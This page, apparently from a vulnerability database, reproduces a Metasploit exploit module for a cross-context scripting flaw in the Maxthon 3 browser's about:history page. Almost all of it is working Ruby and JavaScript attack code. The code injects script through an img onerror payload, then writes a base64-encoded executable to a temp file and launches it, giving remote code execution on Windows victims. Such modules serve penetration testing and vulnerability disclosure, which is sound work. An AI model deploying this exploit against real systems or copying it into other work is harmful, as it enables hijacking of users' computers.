Maxthon3 about:history XCS Trusted Zone Code Execution

🗓️ 24 Nov 2012 23:53:58Reported by Roberto Suggi Liverani, sinn3r <[email protected]>, juan vazquez <[email protected]>Type
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Maxthon3 about:history XCS Trusted Zone Code Execution, privileged browser zone code execution vulnerability in Maxthon
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
      'Description'    => %q{
        Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
        Injection in such privileged/trusted browser zone can be used to modify
        configuration settings and execute arbitrary commands.

        Please note this module only works against specific versions of XCS. Currently,
        we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
          'sinn3r', # msf module
          'juan vazquez' # msf module
        ],
      'References' =>
        [
          ['OSVDB', '88191'],
          ['EDB', '23225'],
          ['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
        ],
      'Payload' =>
        {
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets' =>
        [
          ['Maxthon 3 (prior to 3.3) on Windows', {} ]
        ],
      'DisclosureDate' => '2012-11-26',
      'DefaultTarget'  => 0
    ))
  end

  def on_request_uri(cli, request)
    if request.headers['User-Agent'] !~ /Maxthon\/3/ or request.headers['User-Agent'] !~ /AppleWebKit\/534.12/
      print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}")
      send_not_found(cli)
      return
    end

    html_hdr = %Q|
    <html>
    <head>
    <title>Loading</title>
    |

    html_ftr = %Q|
    </head>
    <body >
    <h1>Loading</h1>
    </body></html>
    |

    case request.uri
      when /\?jspayload/
        p = regenerate_payload(cli)
        if (p.nil?)
          send_not_found(cli)
          return
        end
        # We're going to run this through unescape(), so make sure
        # everything is encoded
        penc = generate_payload_exe
        penc2 = Rex::Text.encode_base64(penc)

        # now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
        # Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
        # The Program DOM API isn't available on Maxthon 3.2 and upper versions.
        content = %Q|
        if(maxthon.program)
        {
        var fileTemp = new maxthon.io.File.createTempFile("test","exe");
        var fileObj = maxthon.io.File(fileTemp);
        maxthon.io.FileWriter(fileTemp);
        maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
        maxthon.program.Program.launch(fileTemp.name_,"C:");
        }
        |

      when /\?history/
        js = %Q|
        window.onload = function() {
          location.href = "about:history";
        }
        |

        content = %Q|
        #{html_hdr}
        <script>
        #{js}
        </script>
        #{html_ftr}
        |

      when get_resource()
        print_status("Sending #{self.name} payload for request #{request.uri}")

        js = %Q|
        url = location.href;
        url2 = url + "?jspayload=1";
        inj = "?history#%22/><img src=a onerror=%22"
        inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
        window.location = unescape(inj) + inj_1;
        |

        content = %Q|
        #{html_hdr}
        <script>
        #{js}
        </script>
        #{html_ftr}
        |
      else
        print_status("Sending 404 for request #{request.uri}")
        send_not_found(cli)
        return
    end

    send_response_html(cli, content)
  end
end
02 Oct 2020 20:00Current
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